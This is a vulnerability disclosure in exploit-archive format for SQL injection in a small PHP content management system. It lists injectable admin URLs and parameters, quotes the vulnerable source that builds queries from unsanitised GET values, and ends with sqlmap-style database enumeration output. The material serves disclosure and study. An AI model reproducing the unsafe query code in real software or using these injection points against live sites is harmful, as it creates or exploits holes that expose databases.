################## # Exploit Title: Simple Web Content Management System SQL Injection # Date: May 30th 2012 # Author: loneferret # Version: 1.1 # Application Url: http://www.cms-center.com/ # Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23 #################### # Discovered by: loneferret ##################### # Side note: # This application is nothing fancy, and really shouldn't be used other than # for practicing SQLi. Pretty much every page has at least one (1) vulnerable # parameter. # Vulnerability: # Due to improper input sanitization, many parameters are prone to SQL injection. # Most of them require to be authenticated with an account (admin). # But there are a few pages that will cause an error without having to logon. # PoC 1: # No Authentication Required. # Page: /admin/item_delete.php?id=[SQLi] # Vulnerable Parameter: id # Code: 15 $id = $_GET['id']; 16 $title = NULL; 17 $text = NULL; 18 database_connect(); 19 $query = "select title,text from content where id = $id;"; 20 //echo $query; 21 $result = mysql_query($query); # As stated, nothing is checked before passing "id" to MySql. # This results in a MySql error. # PoC 2: # No Authentication Required. # Page: /admin/item_status.php?id=[SQLi]&status=1 # Page: /admin/item_status.php?id=1&status=[SQLi] # Vulnerable Parameter: id & status # Code: 10 $ref = $_GET['ref']; 11 $id = $_GET['id']; 12 $status = $_GET['status']; 13 $update = "UPDATE content 14 SET status='$status' 15 WHERE id='$id'"; 16 $query = mysql_query($update) or die("Their was a problem updating the status: ". mysql_error()); # As stated, nothing is checked before passing "id" and/or "status" to MySql. # This results in a MySql error. # PoC 3: # Authentication Required. # Page: /admin/item_detail.php?id=[SQLi] # Vulnerable Parameter: id # Code: 15 $id = $_GET['id']; 16 $title = NULL; 17 $text = NULL; 18 database_connect(); 19 $query = "select title,text from content where id = $id;"; 20 //echo $query; 21 $result = mysql_query($query); # As stated, nothing is checked before passing "id" to MySql. # This results in a MySql error. # PoC 4: # Authentication Required. # Page: /admin/item_modify.php?id=[SQLi] # Vulnerable Parameter: id # Code: 60 database_connect(); 61 if(isset($_GET['id'])) { 62 $id = ($_GET['id']); 63 } 64 $select = "SELECT * 65 FROM content 66 where id = '$id'"; 67 $query = mysql_query($select); # As stated, nothing is checked before passing "id" to MySql. # This results in a MySql error. # PoC 6: # Authencitation Required. # Page: /admin/item_position.php?id=[SQLi]&mode=up # Vulnerable Parameter: id . ...ok I think we get the idea now. . . # # Example output: # [19:40:22] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL 5.0 [19:40:22] [INFO] fetching tables for database: phpcms [19:40:22] [INFO] heuristics detected web page charset 'ascii' [19:40:22] [INFO] the SQL query used returns 1 entries [19:40:22] [INFO] retrieved: content Database: phpcms [1 table] +---------+ | content | +---------+